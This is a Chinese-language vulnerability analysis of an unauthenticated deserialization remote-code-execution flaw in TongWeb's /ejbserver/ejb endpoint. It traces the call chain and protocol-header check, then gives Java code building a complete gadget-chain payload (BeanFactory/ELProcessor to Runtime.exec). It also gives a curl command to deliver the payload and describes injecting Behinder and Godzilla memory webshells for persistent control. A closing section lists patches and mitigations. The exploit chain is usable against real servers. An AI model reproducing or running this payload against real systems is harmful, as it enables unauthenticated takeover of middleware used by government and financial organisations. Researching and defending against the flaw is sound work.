TongWeb EJB远程反序列化漏洞利用分析与修复
TongWeb EJB远程反序列化漏洞分析与利用
摘要
本文针对东方通中间件TongWeb中存在的EJB远程反序列化漏洞(CVE编号待分配)进行深入分析。该漏洞源于TongWeb默认开放的EJB远程服务接口,在处理EJB协议数据时未对输入内容进行有效校验,直接执行了不安全的反序列化操作,导致未经身份验证的远程攻击者可构造恶意序列化数据实现任意代码执行(RCE)。文章详细剖析了漏洞成因、调用链路、利用条件及具体利用方式,并基于本地复现环境验证了攻击可行性。最后,提出了切实可行的防御建议,为相关系统安全加固提供参考。
1.引言
TongWeb是由北京东方通科技股份有限公司开发的一款符合Java EE规范的企业级应用服务器,广泛应用于政府、金融、电信等关键行业。近年来,随着对中间件安全性的重视提升,其暴露的安全问题也逐渐成为攻击者关注的重点。2024年披露的TongWeb EJB远程反序列化漏洞(影响版本:6.1.7.0 ≤ TongWeb ≤ 6.1.8.13 与 7.0.0.0 ≤ TongWeb ≤ 7.0.4.9_M9)因其无需认证、利用门槛低、危害等级高而备受关注。
本文旨在系统性地还原该漏洞的技术细节,从入口点到最终RCE的完整链路进行逆向分析,并结合实际复现验证其攻击效果,为安全研究人员和运维人员提供技术参考。
2.漏洞概述
2.1 漏洞基本信息
- 漏洞类型:不安全的反序列化(Insecure Deserialization)
- 影响组件:/ejbserver/ejb 接口
- 触发条件:向该接口发送特制的EJB协议序列化数据包
- 前置依赖:目标系统使用受影响版本的TongWeb且未关闭EJB远程服务
- 利用结果:远程代码执行(RCE),可部署内存马、窃取数据或横向渗透
2.2 受影响版本
- TongWeb 6.1.7.0 至 6.1.8.13
- TongWeb 7.0.0.0 至 7.0.4.9_M9
3.漏洞原理分析
3.1 请求入口与调用链

当客户端向 /ejbserver/ejb 发起POST请求时,请求由 ServerServlet 处理,其 service() 方法会依次调用:
ServerServlet.service()
→ EjbServer.service()
→ EjbDaemon.service()
→ ProtocolMetaData.readExternal() // 协议头校验
→ ServerMetaData.readExternal() // 核心反序列化点
其中,ServerMetaData.readExternal() 方法直接使用 ObjectInputStream 对HTTP POST体中的字节流进行反序列化,且未进行任何白名单或类过滤机制,构成典型反序列化漏洞入口。
/ejbserver/ejb该路由对应的servlet为ServerServlet,其service方法中会调用EjbServer#service方法

在EjbServer#service方法中会调用EjbDaemon#service方法

在EjbDaemon#service方法中,会调用ServerMetaData#readExternal方法

在ServerMetaData#readExternal方法中,进行了反序列化操作,输入为POST数据包,注意这里执行反序列化前进行了in.readByte,所以构造payload时需要out.writeByte

而且在调用ServerMetaData#readExternal方法前,会先调用clientProtocol.readExternal方法,即ProtocolMetaData#readExternal方法

3.2 协议格式约束
在进入核心反序列化逻辑前,系统会先读取前8个字节作为协议标识,调用 ProtocolMetaData.init() 进行校验。该校验要求前8字节必须匹配正则表达式:
` ^OEJP/[0-9].[0-9]$ `
例如:OEJP/3.0(共8字节)。若不满足,则抛出异常并中断处理。因此,攻击载荷必须以合法协议头开头。
如图在ProtocolMetaData#readExternal方法中,会先获取前8个字节作为参数调用ProtocolMetaData#init方法,并捕获异常

在ProtocolMetaData#init方法中,前8个字符需要满足正则规则:^OEJP/[0-9].[0-9]$,否则就会抛出异常

3.3 利用链构造
尽管TongWeb未直接引入常见反序列化利用库(如CommonsCollections),但其依赖的 xbean-naming 组件提供了可被利用的Gadget链。经分析,可构建如下利用链:
BadAttributeValueExpException.toString()
→ ResourceRef.toString()
→ com.tongweb.naming.factory.BeanFactory.getObjectInstance()
→ ELProcessor.eval()
→ ScriptEngine.eval("js")
→ Runtime.exec()
关键点在于:
- TongWeb将Tomcat的 BeanFactory 类重命名为 com.tongweb.naming.factory.BeanFactory;
- 利用 ResourceRef 配置EL表达式,通过 forceString 触发 eval;
- 最终通过JavaScript引擎执行系统命令。
然后我们查看Tongweb包的依赖

发现存在xbean-naming然后我们打开java-chains
找到BadAttributeValueExpExceptionToString->XBeanToString

可以看到后续需要利用TomcatElRef的,而Tongweb自带TomcatElRef只是包名改为了com.tongweb.naming.factory.BeanFactory

因为这里需要构造特殊的序列化格式,而且包名都需要改变所以不能直接用java-chains生成。所以直接反编译java-chains导入到我们的idea中进行拼接链子。

找到这个三个类从后往前把他的代码给拼起来

执行后可以看到输出payload:

在本地调用readExternal也成功弹出计算器:

4.漏洞复现
4.1 环境搭建
- 下载受影响版本TongWeb安装包(如7.0.4.9_M9);

- 解压后进入 bin/ 目录,执行 ./startserver.sh 启动服务;

- 默认监听 http://
:8088/ejbserver/ejb。

4.2 Payload构造(Java代码)
String elString = "''.getClass().forName('javax.script.ScriptEngineManager')" +
".newInstance().getEngineByName('js').eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,
"com.tongweb.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", elString));
Context ctx = (Context) Reflections.createWithoutConstructor(WritableContext.class);
ContextUtil.ReadOnlyBinding binding = new ContextUtil.ReadOnlyBinding("foo", ref, ctx);
Reflections.setFieldValue(binding, "boundObj", null);
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val", binding);
// 构造协议头 + 序列化体
byte[] header = "OEJP/3.0".getBytes(StandardCharsets.US_ASCII);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeByte(1); // version byte
oos.writeObject(ex);
oos.flush();
byte[] payload = concat(header, baos.toByteArray());
String base64Payload = Base64.getEncoder().encodeToString(payload);
System.out.println(base64Payload);
4.3 发包验证,内存马注入
将生成的Base64编码Payload作为POST Body,通过Yakit、Burp Suite或curl发送至目标URL:
curl -X POST http://192.168.100.139:8088/ejbserver/ejb \ –data-binary @<(echo “
攻击者可在EL表达式中替换为冰蝎(Behinder)或哥斯拉(Godzilla)内存马代码,实现持久化控制,绕过文件落地检测

成功执行内存马注入操作。
连接冰蝎内存马:


5.防御与缓解措施
5.1 官方修复方案
东方通已发布安全更新,修复方式包括:
-
禁用外部访问:默认不再允许通过8088 Web端口访问 /ejbserver/ejb;
-
增强反序列化防护:引入类白名单机制或禁用危险类加载;
-
协议校验强化:严格限制EJB协议版本与来源。
建议用户立即升级至最新安全版本。

5.2 临时缓解措施
若无法立即升级,可采取以下措施:
-
网络层隔离:通过防火墙或WAF限制对 /ejbserver/ejb 的外部访问;
-
关闭EJB远程服务:在 conf/tongweb.xml 中禁用EJB远程调用功能;
-
监控异常流量:检测包含 OEJP/ 或长Base64 POST体的请求;
-
运行时防护:部署RASP(运行时应用自我保护)产品拦截反序列化行为。
6.结论
TongWeb EJB反序列化漏洞是一个典型的“默认配置+不安全反序列化”组合导致的高危RCE漏洞。其利用链虽需定制化构造,但因无需认证、入口明确、依赖组件自带Gadget,使得攻击成本较低。本研究不仅揭示了漏洞的技术本质,还提供了完整的复现方法与防御策略,强调了中间件安全配置与及时更新的重要性。未来,对Java生态中命名服务、JNDI、EJB等远程调用机制的安全审计应成为常态化工作。